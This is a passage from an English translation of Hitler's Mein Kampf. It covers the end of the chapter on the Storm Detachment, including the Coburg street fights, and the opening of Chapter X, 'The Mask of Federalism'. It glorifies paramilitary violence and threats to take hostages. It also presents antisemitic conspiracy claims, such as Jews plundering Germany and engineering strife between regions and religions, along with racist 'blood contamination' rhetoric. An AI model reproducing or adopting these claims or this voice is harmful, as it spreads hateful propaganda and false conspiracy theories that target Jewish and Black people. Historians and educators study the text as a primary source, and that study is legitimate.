1921. I endeavoured to +instil them gradually into the members of the young organization. And +the result was that by the midsummer of 1922 we had a goodly number of +formations which consisted of a hundred men each. By the late autumn of +that year these formations received their distinctive uniforms. There +were three events which turned out to be of supreme importance for the +subsequent development of the Storm Detachment. + +1. The great mass demonstration against the Law for the Protection of +the Republic. This demonstration was held in the late summer of 1922 on +the KÖNIGS-PLATZ in Munich, by all the patriotic societies. The National +Socialist Movement also participated in it. The march-past of our party, +in serried ranks, was led by six Munich companies of a hundred men each, +followed by the political sections of the Party. Two bands marched with +us and about fifteen flags were carried. When the National Socialists +arrived at the great square it was already half full, but no flag was +flying. Our entry aroused unbounded enthusiasm. I myself had the honour +of being one of the speakers who addressed that mass of about sixty +thousand people. + +The demonstration was an overwhelming success; especially because it was +proved for the first time that nationalist Munich could march on the +streets, in spite of all threats from the Reds. Members of the +organization for the defence of the Red Republic endeavoured to hinder +the marching columns by their terrorist activities, but they were +scattered by the companies of the Storm Detachment within a few minutes +and sent off with bleeding skulls. The National Socialist Movement had +then shown for the first time that in future it was determined to +exercise the right to march on the streets and thus take this monopoly +away from the international traitors and enemies of the country. + +The result of that day was an incontestable proof that our ideas for the +creation of the Storm Detachment were right, both from the psychological +viewpoint and as to the manner in which this body was organized. + +On the basis of this success the enlistment progressed so rapidly that +within a few weeks the number of Munich companies of a hundred men each +became doubled. + +2. The expedition to Coburg in October 1922. + +Certain People's Societies had decided to hold a German Day at Coburg. I +was invited to take part, with the intimation that they wished me to +bring a following along. This invitation, which I received at eleven +o'clock in the morning, arrived just in time. Within an hour the +arrangements for our participation in the German Congress were ready. I +picked eight hundred men of the Storm Detachment to accompany me. These +were divided into about fourteen companies and had to be brought by +special train from Munich to Coburg, which had just voted by plebiscite +to be annexed to Bavaria. Corresponding orders were given to other +groups of the National Socialist Storm Detachment which had meanwhile +been formed in various other localities. + +This was the first time that such a special train ran in Germany. At all +the places where the new members of the Storm Detachment joined us our +train caused a sensation. Many of the people had never seen our flag. +And it made a very great impression. + +As we arrived at the station in Coburg we were received by a deputation +of the organizing committee of the German Day. They announced that it +had been 'arranged' at the orders of local trades unions--that is to +say, the Independent and Communist Parties--that we should not enter the +town with our flags unfurled and our band playing (we had a band +consisting of forty-two musicians with us) and that we should not march +with closed ranks. + +I immediately rejected these unmilitary conditions and did not fail to +declare before the gentlemen who had arranged this 'day' how astonished +I was at the idea of their negotiating with such people and coming to an +agreement with them. Then I announced that the Storm Troops would +immediately march into the town in company formation, with our flags +flying and the band playing. + +And that is what happened. + +As we came out into the station yard we were met by a growling and +yelling mob of several thousand, that shouted at us: 'Assassins', +'Bandits', 'Robbers', 'Criminals'. These were the choice names which +these exemplary founders of the German Republic showered on us. The +young Storm Detachment gave a model example of order. The companies fell +into formation on the square in front of the station and at first took +no notice of the insults hurled at them by the mob. The police were +anxious. They did not pilot us to the quarters assigned to us on the +outskirts of Coburg, a city quite unknown to us, but to the Hofbräuhaus +Keller in the centre of the town. Right and left of our march the tumult +raised by the accompanying mob steadily increased. Scarcely had the last +company entered the courtyard of the Hofbräuhaus when the huge mass made +a rush to get in after them, shouting madly. In order to prevent this, +the police closed the gates. Seeing the position was untenable I called +the Storm Detachment to attention and then asked the police to open the +gates immediately. After a good deal of hesitation, they consented. + +We now marched back along the same route as we had come, in the +direction of our quarters, and there we had to make a stand against the +crowd. As their cries and yells all along the route had failed to +disturb the equanimity of our companies, the champions of true +Socialism, Equality, and Fraternity now took to throwing stones. That +brought our patience to an end. For ten minutes long, blows fell right +and left, like a devastating shower of hail. Fifteen minutes later there +were no more Reds to be seen in the street. + +The collisions which took place when the night came on were more +serious. Patrols of the Storm Detachment had discovered National +Socialists who had been attacked singly and were in an atrocious state. +Thereupon we made short work of the opponents. By the following morning +the Red terror, under which Coburg had been suffering for years, was +definitely smashed. + +Adopting the typically Marxist and Jewish method of spreading +falsehoods, leaflets were distributed by hand on the streets, bearing +the caption: "Comrades and Comradesses of the International +Proletariat." These leaflets were meant to arouse the wrath of the +populace. Twisting the facts completely around, they declared that our +'bands of assasins' had commenced 'a war of extermination against the +peaceful workers of Coburg'. At half-past one that day there was to be a +'great popular demonstration', at which it was hoped that the workers of +the whole district would turn up. I was determined finally to crush this +Red terror and so I summoned the Storm Detachment to meet at midday. +Their number had now increased to 1,500. I decided to march with these +men to the Coburg Festival and to cross the big square where the Red +demonstration was to take place. I wanted to see if they would attempt +to assault us again. When we entered the square we found that instead of +the ten thousand that had been advertised, there were only a few hundred +people present. As we approached they remained silent for the most part, +and some ran away. Only at certain points along the route some bodies of +Reds, who had arrived from outside the city and had not yet come to know +us, attempted to start a row. But a few fisticuffs put them to flight. +And now one could see how the population, which had for such a long time +been so wretchedly intimidated, slowly woke up and recovered their +courage. They welcomed us openly, and in the evening, on our return +march, spontaneous shouts of jubilation broke out at several points +along the route. + +At the station the railway employees informed us all of a sudden that +our train would not move. Thereupon I had some of the ringleaders told +that if this were the case I would have all the Red Party heroes +arrested that fell into our hands, that we would drive the train +ourselves, but that we would take away with us, in the locomotive and +tender and in some of the carriages, a few dozen members of this +brotherhood of international solidarity. I did not omit to let those +gentry know that if we had to conduct the train the journey would +undoubtedly be a very risky adventure and that we might all break our +necks. It would be a consolation, however, to know that we should not go +to Eternity alone, but in equality and fraternity with the Red gentry. + +Thereupon the train departed punctually and we arrived next morning in +Munich safe and sound. + +Thus at Coburg, for the first time since 1914, the equality of all +citizens before the law was re-established. For even if some coxcomb of +a higher official should assert to-day that the State protects the lives +of its citizens, at least in those days it was not so. For at that time +the citizens had to defend themselves against the representatives of the +present State. + +At first it was not possible fully to estimate the importance of the +consequences which resulted from that day. The victorious Storm Troops +had their confidence in themselves considerably reinforced and also +their faith in the sagacity of their leaders. Our contemporaries began +to pay us special attention and for the first time many recognized the +National Socialist Movement as an organization that in all probability +was destined to bring the Marxist folly to a deserving end. + +Only the democrats lamented the fact that we had not the complaisance to +allow our skulls to be cracked and that we had dared, in a democratic +Republic, to hit back with fists and sticks at a brutal assault, rather +than with pacifist chants. + +Generally speaking, the bourgeois Press was partly distressed and partly +vulgar, as always. Only a few decent newspapers expressed their +satisfaction that at least in one locality the Marxist street bullies +had been effectively dealt with. + +And in Coburg itself at least a part of the Marxist workers who must be +looked upon as misled, learned from the blows of National Socialist +fists that these workers were also fighting for ideals, because +experience teaches that the human being fights only for something in +which he believes and which he loves. + +The Storm Detachment itself benefited most from the Coburg events. It +grew so quickly in numbers that at the Party Congress in January 1923 +six thousand men participated in the ceremony of consecrating the flags +and the first companies were fully clad in their new uniform. + +Our experience in Coburg proved how essential it is to introduce one +distinctive uniform for the Storm Detachment, not only for the purpose +of strengthening the ESPRIT DE CORPS but also to avoid confusion and the +danger of not recognizing the opponent in a squabble. Up to that time +they had merely worn the armlet, but now the tunic and the well-known +cap were added. + +But the Coburg experience had also another important result. We now +determined to break the Red Terror in all those localities where for +many years it had prevented men of other views from holding their +meetings. We were determined to restore the right of free assembly. From +that time onwards we brought our battalions together in such places and +little by little the red citadels of Bavaria, one after another, fell +before the National Socialist propaganda. The Storm Troops became more +and more adept at their job. They increasingly lost all semblance of an +aimless and lifeless defence movement and came out into the light as an +active militant organization, fighting for the establishment of a new +German State. + +This logical development continued until March 1923. Then an event +occurred which made me divert the Movement from the course hitherto +followed and introduce some changes in its outer formation. + +In the first months of 1923 the French occupied the Ruhr district. The +consequence of this was of great importance in the development of the +Storm Detachment. + +It is not yet possible, nor would it be in the interest of the nation, +to write or speak openly and freely on the subject. I shall speak of it +only as far as the matter has been dealt with in public discussions and +thus brought to the knowledge of everybody. + +The occupation of the Ruhr district, which did not come as a surprise to +us, gave grounds for hoping that Germany would at last abandon its +cowardly policy of submission and therewith give the defensive +associations a definite task to fulfil. The Storm Detachment also, which +now numbered several thousand of robust and vigorous young men, should +not be excluded from this national service. During the spring and summer +of 1923 it was transformed into a fighting military organization. It is +to this reorganization that we must in great part attribute the later +developments that took place during 1923, in so far as it affected our +Movement. + +Elsewhere I shall deal in broad outline with the development of events +in 1923. Here I wish only to state that the transformation of the Storm +Detachment at that time must have been detrimental to the interests of +the Movement if the conditions that had motivated the change were not to +be carried into effect, namely, the adoption of a policy of active +resistance against France. + +The events which took place at the close of 1923, terrible as they may +appear at first sight, were almost a necessity if looked at from a +higher standpoint; because, in view of the attitude taken by the +Government of the German REICH, conversion of the Storm Troops into a +military force would be meaningless and thus a transformation which +would also be harmful to the Movement was ended at one stroke. At the +same time it was made possible for us to reconstruct at the point where +we had been diverted from the proper course. + +In the year 1925 the German National Socialist Labour Party was +re-founded and had to organize and train its Storm Detachment once again +according to the principles I have laid down. It must return to the +original idea and once more it must consider its most essential task to +function as the instrument of defence and reinforcement in the spiritual +struggle to establish the ideals of the Movement. + +The Storm Detachment must not be allowed to sink to the level of +something in the nature of a defence organization or a secret society. +Steps must be taken rather to make it a vanguard of 100,000 men in the +struggle for the National Socialist ideal which is based on the profound +principle of a People's State. + + + + +CHAPTER X + + + +THE MASK OF FEDERALISM + + +In the winter of 1919, and still more in the spring and summer of 1920, +the young Party felt bound to take up a definite stand on a question +which already had become quite serious during the War. In the first +volume of this book I have briefly recorded certain facts which I had +personally witnessed and which foreboded the break-up of Germany. In +describing these facts I made reference to the special nature of the +propaganda which was directed by the English as well as the French +towards reopening the breach that had existed between North and South in +Germany. In the spring of 1915 there appeared the first of a series of +leaflets which was systematically followed up and the aim of which was +to arouse feeling against Prussia as being solely responsible for the +war. Up to 1916 this system had been developed and perfected in a +cunning and shameless manner. Appealing to the basest of human +instincts, this propaganda endeavoured to arouse the wrath of the South +Germans against the North Germans and after a short time it bore fruit. +Persons who were then in high positions under the Government and in the +Army, especially those attached to headquarters in the Bavarian Army, +merited the just reproof of having blindly neglected their duty and +failed to take the necessary steps to counter such propaganda. But +nothing was done. On the contrary, in some quarters it did not appear to +be quite unwelcome and probably they were short-sighted enough to think +that such propaganda might help along the development of unification in +Germany but even that it might automatically bring about consolidation +of the federative forces. Scarcely ever in history was such a wicked +neglect more wickedly avenged. The weakening of Prussia, which they +believed would result from this propaganda, affected the whole of +Germany. It resulted in hastening the collapse which not only wrecked +Germany as a whole but even more particularly the federal states. + +In that town where the artificially created hatred against Prussia raged +most violently the revolt against the reigning House was the beginning +of the Revolution. + +It would be a mistake to think that the enemy propaganda was exclusively +responsible for creating an anti-Prussian feeling and that there were no +reasons which might excuse the people for having listened to this +propaganda. The incredible fashion in which the national economic +interests were organized during the War, the absolutely crazy system of +centralization which made the whole REICH its ward and exploited the +REICH, furnished the principal grounds for the growth of that +anti-Prussian feeling. The average citizen looked upon the companies for +the placing of war contracts, all of which had their headquarters in +Berlin, as identical with Berlin and Berlin itself as identical with +Prussia. The average citizen did not know that the organization of these +robber companies, which were called War Companies, was not in the hands +of Berlin or Prussia and not even in German hands at all. People +recognized only the gross irregularities and the continual encroachments +of that hated institution in the Metropolis of the REICH and directed +their anger towards Berlin and Prussia, all the more because in certain +quarters (the Bavarian Government) nothing was done to correct this +attitude, but it was even welcomed with silent rubbing of hands. + +The Jew was far too shrewd not to understand that the infamous campaign +which he had organized, under the cloak of War Companies, for plundering +the German nation would and must eventually arouse opposition. As long +as that opposition did not spring directly at his own throat he had no +reason to be afraid. Hence he decided that the best way of forestalling +an outbreak on the part of the enraged and desperate masses would be to +inflame their wrath and at the same time give it another outlet. + +Let Bavaria quarrel as much as it liked with Prussia and Prussia with +Bavaria. The more, the merrier. This bitter strife between the two +states assured peace to the Jew. Thus public attention was completely +diverted from the international maggot in the body of the nation; +indeed, he seemed to have been forgotten. Then when there came a danger +that level-headed people, of whom there are many to be found also in +Bavaria, would advise a little more reserve and a more judicious +evaluation of things, thus calming the rage against Prussia, all the Jew +had to do in Berlin was to stage a new provocation and await results. +Every time that was done all those who had profiteered out of the +conflict between North and South filled their lungs and again fanned the +flame of indignation until it became a blaze. + +It was a shrewd and expert manoeuvre on the part of the Jew, to set the +different branches of the German people quarrelling with one another, so +that their attention would be turned away from himself and he could +plunder them all the more completely. + +Then came the Revolution. + +Until the year 1918, or rather until the November of that year, the +average German citizen, particularly the less educated lower +middle-class and the workers, did not rightly understand what was +happening and did not realize what must be the inevitable consequences, +especially for Bavaria, of this internecine strife between the branches +of the German people; but at least those sections which called +themselves 'National' ought to have clearly perceived these consequences +on the day that the Revolution broke out. For the moment the COUP D'ÉTAT +had succeeded, the leader and organizer of the Revolution in Bavaria put +himself forward as the defender of 'Bavarian' interests. The +international Jew, Kurt Eisner, began to play off Bavaria against +Prussia. This Oriental was just about the last person in the world that +could be pointed to as the logical defender of Bavarian interests. In +his trade as newspaper reporter he had wandered from place to place all +over Germany and to him it was a matter of sheer indifference whether +Bavaria or any other particular part of God's whole world continued to +exist. + +In deliberately giving the revolutionary rising in Bavaria the character +of an offensive against Prussia, Kurt Eisner was not acting in the +slightest degree from the standpoint of Bavarian interests, but merely +as the commissioned representative of Jewry. He exploited existing +instincts and antipathies in Bavaria as a means which would help to make +the dismemberment of Germany all the more easy. When once dismembered, +the REICH would fall an easy prey to Bolshevism. + +The tactics employed by him were continued for a time after his death. +The Marxists, who had always derided and exploited the individual German +states and their princes, now suddenly appealed, as an 'Independent +Party' to those sentiments and instincts which had their strongest roots +in the families of the reigning princes and the individual states. + +The fight waged by the Bavarian Soviet Republic against the military +contingents that were sent to free Bavaria from its grasp was +represented by the Marxist propagandists as first of all the 'Struggle +of the Bavarian Worker' against 'Prussian Militarism.' This explains why +it was that the suppression of the Soviet Republic in Munich did not +have the same effect there as in the other German districts. Instead of +recalling the masses to a sense of reason, it led to increased +bitterness and anger against Prussia. + +The art of the Bolshevik agitators, in representing the suppression of +the Bavarian Soviet Republic as a victory of 'Prussian Militarism' over +the 'Anti-militarists' and 'Anti-Prussian' people of Bavaria, bore rich +fruit. Whereas on the occasion of the elections to the Bavarian +Legislative Diet, Kurt Eisner did not have ten thousand followers in +Munich and the Communist party less than three thousand, after the fall +of the Bavarian Republic the votes given to the two parties together +amounted to nearly one hundred thousand. + +It was then that I personally began to combat that crazy incitement of +some branches of the German people against other branches. + +I believe that never in my life did I undertake a more unpopular task +than I did when I took my stand against the anti-Prussian incitement. +During the Soviet regime in Munich great public meetings were held at +which hatred against the rest of Germany, but particularly against +Prussia, was roused up to such a pitch that a North German would have +risked his life in attending one of those meetings. These meetings often +ended in wild shouts: "Away from Prussia", "Down with the Prussians", +"War against Prussia", and so on. This feeling was openly expressed in +the Reichstag by a particularly brilliant defender of Bavarian sovereign +rights when he said: "Rather die as a Bavarian than rot as a Prussian". + +One should have attended some of the meetings held at that time in order +to understand what it meant for one when, for the first time and +surrounded by only a handful of friends, I raised my voice against this +folly at a meeting held in the Munich Löwenbräu Keller. Some of my War +comrades stood by me then. And it is easy to imagine how we felt when +that raging crowd, which had lost all control of its reason, roared at +us and threatened to kill us. During the time that we were fighting for +the country the same crowd were for the most part safely ensconced in +the rear positions or were peacefully circulating at home as deserters +and shirkers. It is true that that scene turned out to be of advantage +to me. My small band of comrades felt for the first time absolutely +united with me and readily swore to stick by me through life and death. + +These conflicts, which were constantly repeated in 1919, seemed to +become more violent soon after the beginning of 1920. There were +meetings--I remember especially one in the Wagner Hall in the +Sonnenstrasse in Munich--during the course of which my group, now grown +much larger, had to defend themselves against assaults of the most +violent character. It happened more than once that dozens of my +followers were mishandled, thrown to the floor and stamped upon by the +attackers and were finally thrown out of the hall more dead than alive. + +The struggle which I had undertaken, first by myself alone and +afterwards with the support of my war comrades, was now continued by the +young movement, I might say almost as a sacred mission. + +I am proud of being able to say to-day that we--depending almost +exclusively on our followers in Bavaria--were responsible for putting an +end, slowly but surely, to the coalition of folly and treason. I say +folly and treason because, although convinced that the masses who joined +in it meant well but were stupid, I cannot attribute such simplicity as +an extenuating circumstance in the case of the organizers and their +abetters. I then looked upon them, and still look upon them to-day, as +traitors in the payment of France. In one case, that of Dorten, history +has already pronounced its judgment. + +The situation became specially dangerous at that time by reason of the +fact that they were very astute in their ability to cloak their real +tendencies, by insisting primarily on their federative intentions and +claiming that those were the sole motives of the agitation. Of course it +is quite obvious that the agitation against Prussia had nothing to do +with federalism. Surely 'Federal Activities' is not the phrase with +which to describe an effort to dissolve and dismember another federal +state. For an honest federalist, for whom the formula used by Bismarck +to define his idea of the REICH is not a counterfeit phrase, could not +in the same breath express the desire to cut off portions of the +Prussian State, which was created or at least completed by Bismarck. Nor +could he publicly support such a separatist attempt. + +What an outcry would be raised in Munich if some prussian conservative +party declared itself in favour of detaching Franconia from Bavaria or +took public action in demanding and promoting such a separatist policy. +Nevertheless, one can only have sympathy for all those real and honest +federalists who did not see through this infamous swindle, for they were +its principal victims. By distorting the federalist idea in such a way +its own champions prepared its grave. One cannot make propaganda for a +federalist configuration of the REICH by debasing and abusing and +besmirching the essential element of such a political structure, namely +Prussia, and thus making such a Confederation impossible, if it ever had +been possible. It is all the more incredible by reason of the fact that +the fight carried on by those so-called federalists was directed against +that section of the Prussian people which was the last that could be +looked upon as connected with the November democracy. For the abuse and +attacks of these so-called federalists were not levelled against the +fathers of the Weimar Constitution--the majority of whom were South +Germans or Jews--but against those who represented the old conservative +Prussia, which was the antipodes of the Weimar Constitution. The fact +that the directors of this campaign were careful not to touch the Jews +is not to be wondered at and perhaps gives the key to the whole riddle. + +Before the Revolution the Jew was successful in distracting attention +from himself and his War Companies by inciting the masses, and +especially the Bavarians, against Prussia. Similarly he felt obliged, +after the Revolution, to find some way of camouflaging his new plunder +campaign which was nine or ten times greater. And again he succeeded, in +this case by provoking the so-called 'national' elements against one +another: the conservative Bavarians against the Prussians, who were just +as conservative. He acted again with extreme cunning, inasmuch as he who +held the reins of Prussia's destiny in his hands provoked such crude and +tactless aggressions that again and again they set the blood boiling in +those who were being continually duped. Never against the Jew, however, +but always the German against his own brother. The Bavarian did not see +the Berlin of four million industrious and efficient working people, but +only the lazy and decadent Berlin which is to be found in the worst +quarters of the West End. And his antipathy was not directed against +this West End of Berlin but against the 'Prussian' city. + +In many cases it tempted one to despair. + +The ability which the Jew has displayed in turning public attention away +from himself and giving it another direction may be studied also in what +is happening to-day. + +In 1918 there was nothing like an organized anti-Semitic feeling. I +still remember the difficulties we encountered the moment we mentioned +the Jew. We were either confronted with dumb-struck faces or else a +lively and hefty antagonism. The efforts we made at the time to point +out the real enemy to the public seemed to be doomed to failure. But +then things began to change for the better, though only very slowly. The +'League for Defence and Offence' was defectively organized but at least +it had the great merit of opening up the Jewish question once again. In +the winter of 1918-1919 a kind of anti-semitism began slowly to take +root. Later on the National Socialist Movement presented the Jewish +problem in a new light. Taking the question beyond the restricted +circles of the upper classes and small bourgeoisie we succeeded in +transforming it into the driving motive of a great popular movement. But +the moment we were successful in placing this problem before the German +people in the light of an idea that would unite them in one struggle the +Jew reacted. He resorted to his old tactics. With amazing alacrity he +hurled the torch of discord into the patriotic movement and opened a +rift there. In bringing forward the ultramontane question and in the +mutual quarrels that it gave rise to between Catholicism and +Protestantism lay the sole possibility, as conditions then were, of +occupying public attention with other problems and thus ward off the +attack which had been concentrated against Jewry. The men who dragged +our people into this controversy can never make amends for the crime +they then committed against the nation. Anyhow, the Jew has attained the +ends he desired. Catholics and Protestants are fighting with one another +to their hearts' content, while the enemy of Aryan humanity and all +Christendom is laughing up his sleeve. + +Once it was possible to occupy the attention of the public for several +years with the struggle between federalism and unification, wearing out +their energies in this mutual friction while the Jew trafficked in the +freedom of the nation and sold our country to the masters of +international high finance. So in our day he has succeeded again, this +time by raising ructions between the two German religious denominations +while the foundations on which both rest are being eaten away and +destroyed through the poison injected by the international and +cosmopolitan Jew. + +Look at the ravages from which our people are suffering daily as a +result of being contaminated with Jewish blood. Bear in mind the fact +that this poisonous contamination can be eliminated from the national +body only after centuries, or perhaps never. Think further of how the +process of racial decomposition is debasing and in some cases even +destroying the fundamental Aryan qualities of our German people, so that +our cultural creativeness as a nation is gradually becoming impotent and +we are running the danger, at least in our great cities, of falling to +the level where Southern Italy is to-day. This pestilential adulteration +of the blood, of which hundreds of thousands of our people take no +account, is being systematically practised by the Jew to-day. +Systematically these negroid parasites in our national body corrupt our +innocent fair-haired girls and thus destroy something which can no +longer be replaced in this world. + +The two Christian denominations look on with indifference at the +profanation and destruction of a noble and unique creature who was given +to the world as a gift of God's grace. For the future of the world, +however, it does not matter which of the two triumphs over the other, +the Catholic or the Protestant. But it does matter whether Aryan +humanity survives or perishes. And yet the two Christian denominations +are not contending against the destroyer of Aryan humanity but are +trying to destroy one another. Everybody who has the right kind of +feeling for his country is solemnly bound, each within his own +denomination, to see to it that he is not constantly talking about the +Will of God merely from the lips but that in actual fact he fulfils the +Will of God and does not allow God's handiwork to be debased. For it was +by the Will of God that men were made of a certain bodily shape, were +given their natures and their faculties. Whoever destroys His work wages +war against God's Creation and God's Will. Therefore everyone should +endeavour, each in his own denomination of course, and should consider +it as his first and most solemn duty to hinder any and everyone whose +conduct tends, either by word or deed, to go outside his own religious +body and pick a quarrel with those of another denomination. For, in view +of the religious schism that exists in Germany, to attack the essential +characteristics of one denomination must necessarily lead to a war of +extermination between the two Christian denominations. Here there can be +no comparison between our position and that of France, or Spain or +Italy. In those three countries one may, for instance, make propaganda +for the side that is fighting against ultramontanism without thereby +incurring the danger of a national rift among the French, or Spanish or +Italian people. In Germany, however, that cannot be so, for here the +Protestants would also take part in such propaganda. And thus the +defence which elsewhere only Catholics organize against clerical +aggression in political matters would assume with us the character of a +Protestant attack against Catholicism. What may be tolerated by the +faithful in one denomination even when it seems unjust to them, will at +once be indignantly rejected and opposed on A PRIORI grounds if it +should come from the militant leaders of another denomination. This is +so true that even men who would be ready and willing to fight for the +removal of manifest grievances within their own religious denomination +will drop their own fight and turn their activities against the outsider +the moment the abolition of such grievances is counselled or demanded by +one who is not of the same faith. They consider it unjustified and +inadmissible and incorrect for outsiders to meddle in matters which do +not affect them at all. Such attempts are not excused even when they are +inspired by a feeling for the supreme interests of the national +community; because even in our day religious feelings still have deeper +roots than all feeling for political and national expediency. That +cannot be changed by setting one denomination against another in bitter +conflict. It can be changed only if, through a spirit of mutual +tolerance, the nation can be assured of a future the greatness of which +will gradually operate as a conciliating factor in the sphere of +religion also. I have no hesitation in saying that in those men who seek +to-day to embroil the patriotic movement in religious quarrels I see +worse enemies of my country than the international communists are. For +the National Socialist Movement has set itself to the task of converting +those communists. But anyone who goes outside the ranks of his own +Movement and tends to turn it away from the fulfilment of its mission is +acting in a manner that deserves the severest condemnation. He is acting +as a champion of Jewish interests, whether consciously or unconsciously +does not matter. For it is in the interests of the Jews to-day that the +energies of the patriotic movement should be squandered in a religious +conflict, because it is beginning to be dangerous for the Jews. I have +purposely used the phrase about SQUANDERING the energies of the +Movement, because nobody but some person who is entirely ignorant of +history could imagine that this movement can solve a question which the +greatest statesmen have tried for centuries to solve, and tried in vain. + +Anyhow the facts speak for themselves. The men who suddenly discovered, +in 1924, that the highest mission of the patriotic movement was to fight +ultramontanism, have not succeeded in smashing ultramontanism, but they +succeeded in splitting the patriotic movement. I have to guard against +the possibility of some immature brain arising in the patriotic movement +which thinks that it can do what even a Bismarck failed to do. It will +be always one of the first duties of those who are directing the +National Socialist Movement to oppose unconditionally any attempt to +place the National Socialist Movement at the service of such a conflict. +And anybody who conducts a propaganda with that end in view must be +expelled forthwith from its ranks. + +As a matter of fact we succeeded until the autumn of 1923 in keeping our +movement away from such controversies. The most devoted Protestant could +stand side by side with the most devoted Catholic in our ranks without +having his conscience disturbed in the slightest as far as concerned his +religious convictions. The bitter struggle which both waged in common +against the wrecker of Aryan humanity taught them natural respect and +esteem. And it was just in those years that our movement had to engage +in a bitter strife with the Centre Party not for religious ends but for +national, racial, political and economic ends. The success we then +achieved showed that we were right, but it does not speak to-day in +favour of those who thought they knew better. + +In recent years things have gone so far that patriotic circles, in +god-forsaken blindness of their religious strife, could not recognize +the folly of their conduct even from the fact that atheist Marxist +newspapers advocated the cause of one religious denomination or the +other, according as it suited Marxist interests, so as to create +confusion through slogans and declarations which were often immeasurably +stupid, now molesting the one party and again the other, and thus poking +the fire to keep the blaze at its highest. + +But in the case of a people like the Germans, whose history has so often +shown them capable of fighting for phantoms to the point of complete +exhaustion, every war-cry is a mortal danger. By these slogans our +people have often been drawn away from the real problems of their +existence. While we were exhausting our energies in religious wars the +others were acquiring their share of the world. And while the patriotic +movement is debating with itself whether the ultramontane danger be +greater than the Jewish, or vice versa, the Jew is destroying the racial +basis of our existence and thereby annihilating our people. As far as +regards that kind of 'patriotic' warrior, on behalf of the National +Socialist Movement and therefore of the German people I pray with all my +heart: "Lord, preserve us from such friends, and then we can easily deal +with our enemies." + +The controversy over federation and unification, so cunningly +propagandized by the Jews in 1919-1920 and onwards, forced National +Socialism, which repudiated the quarrel, to take up a definite stand in +relation to the essential problem concerned in it. Ought Germany to be a +confederacy or a military State? What is the practical significance of +these terms? To me it seems that the second question is more important +than the first, because it is fundamental to the understanding of the +whole problem and also because the answer to it may help to clear up +confusion and therewith have a conciliating effect. + +What is a Confederacy? (Note 22) + +[Note 22. Before 1918 Germany was a federal Empire, composed of +twenty-five federal states.] + +By a Confederacy we mean a union of sovereign states which of their own +free will and in virtue of their sovereignty come together and create a +collective unit, ceding to that unit as much of their own sovereign +rights as will render the existence of the union possible and will +guarantee it. + +But the theoretical formula is not wholly put into practice by any +confederacy that exists to-day. And least of all by the American Union, +where it is impossible to speak of original sovereignty in regard to the +majority of the states. Many of them were not included in the federal +complex until long after it had been established. The states that make +up the American Union are mostly in the nature of territories, more or +less, formed for technical administrative purposes, their boundaries +having in many cases been fixed in the mapping office. Originally these +states did not and could not possess sovereign rights of their own. +Because it was the Union that created most of the so-called states. +Therefore the sovereign rights, often very comprehensive, which were +left, or rather granted, to the various territories correspond not only +to the whole character of the Confederation but also to its vast space, +which is equivalent to the size of a Continent. Consequently, in +speaking of the United States of America one must not consider them as +sovereign states but as enjoying rights or, better perhaps, autarchic +powers, granted to them and guaranteed by the Constitution. + +Nor does our definition adequately express the condition of affairs in +Germany. It is true that in Germany the individual states existed as +states before the REICH and that the REICH was formed from them. The +REICH, however, was not formed by the voluntary and equal co-operation +of the individual states, but rather because the state of Prussia +gradually acquired a position of hegemony over the others. The +difference in the territorial area alone between the German states +prevents any comparison with the American Union. The great difference in +territorial area between the very small German states that then existed +and the larger, or even still more the largest, demonstrates the +inequality of their achievements and shows that they could not take an +equal part in founding and shaping the federal Empire. In the case of +most of these individual states it cannot be maintained that they ever +enjoyed real sovereignty; and the term 'State Sovereignty' was really +nothing more than an administrative formula which had no inner meaning. +As a matter of fact, not only developments in the past but also in our +own time wiped out several of these so-called 'Sovereign States' and +thus proved in the most definite way how frail these 'sovereign' state +formations were. + +I cannot deal here with the historical question of how these individual +states came to be established, but I must call attention to the fact +that hardly in any case did their frontiers coincide with ethical +frontiers of the inhabitants. They were purely political phenomena which +for the most part emerged during the sad epoch when the German Empire +was in a state of exhaustion and was dismembered. They represented both +cause and effect in the process of exhaustion and partition of our +fatherland. + +The Constitution of the old REICH took all this into account, at least +up to a certain degree, in so far as the individual states were not +accorded equal representation in the Reichstag, but a representation +proportionate to their respective areas, their actual importance and the +role which they played in the formation of the REICH. + +The sovereign rights which the individual states renounced in order to +form the REICH were voluntarily ceded only to a very small degree. For +the most part they had no practical existence or they were simply taken +by Prussia under the pressure of her preponderant power. The principle +followed by Bismarck was not to give the REICH what he could take from +the individual states but to demand from the individual states only what +was absolutely necessary for the REICH. A moderate and wise policy. On +the one side Bismarck showed the greatest regard for customs and +traditions; on the other side his policy secured for the new REICH from +its foundation onwards a great measure of love and willing co-operation. +But it would be a fundamental error to attribute Bismarck's decision to +any conviction on his part that the REICH was thus acquiring all the +rights of sovereignty which would suflice for all time. That was far +from Bismarck's idea. On the contrary, he wished to leave over for the +future what it would be difficult to carry through at the moment and +might not have been readily agreed to by the individual states. He +trusted to the levelling effect of time and to the pressure exercised by +the process of evolution, the steady action of which appeared more +effective than an attempt to break the resistance which the individual +states offered at the moment. By this policy he showed his great ability +in the art of statesmanship. And, as a matter of fact, the sovereignty +of the REICH has continually increased at the cost of the sovereignty of +the individual states. The passing of time has achieved what Bismarck +hoped it would. + +The German collapse and the abolition of the monarchical form of +government necessarily hastened this development. The German federal +states, which had not been grounded on ethnical foundations but arose +rather out of political conditions, were bound to lose their importance +the moment the monarchical form of government and the dynasties +connected with it were abolished, for it was to the spirit inherent in +these that the individual states owned their political origin and +development. Thus deprived of their internal RAISON D'ÊTRE, they +renounced all right to survival and were induced by purely practical +reasons to fuse with their neighbours or else they joined the more +powerful states out of their own free will. That proved in a striking +manner how extraordinarily frail was the actual sovereignty these small +phantom states enjoyed, and it proved too how lightly they were +estimated by their own citizens. + +Though the abolition of the monarchical regime and its representatives +had dealt a hard blow to the federal character of the REICH, still more +destructive, from the federal point of view, was the acceptance of the +obligations that resulted from the 'peace' treaty. + +It was only natural and logical that the federal states should lose all +sovereign control over the finances the moment the REICH, in consequence +of a lost war, was subjected to financial obligations which could never +be guaranteed through separate treaties with the individual states. The +subsequent steps which led the REICH to take over the posts and railways +were an enforced advance in the process of enslaving our people, a +process which the peace treaties gradually developed. The REICH was +forced to secure possession of resources which had to be constantly +increased in order to satisfy the demands made by further extortions. + +The form in which the powers of the REICH were thus extended to embrace +the federal states was often ridiculously stupid, but in itself the +procedure was logical and natural. The blame for it must be laid at the +door of these men and those parties that failed in the hour of need to +concentrate all their energies in an effort to bring the war to a +victorious issue. The guilt lies on those parties which, especially in +Bavaria, catered for their own egotistic interests during the war and +refused to the REICH what the REICH had to requisition to a tenfold +greater measure when the war was lost. The retribution of History! +Rarely has the vengeance of Heaven followed so closely on the crime as +it did in this case. Those same parties which, a few years previously, +placed the interests of their own states--especially in Bavaria--before +those of the REICH had now to look on passively while the pressure of +events forced the REICH, in its own 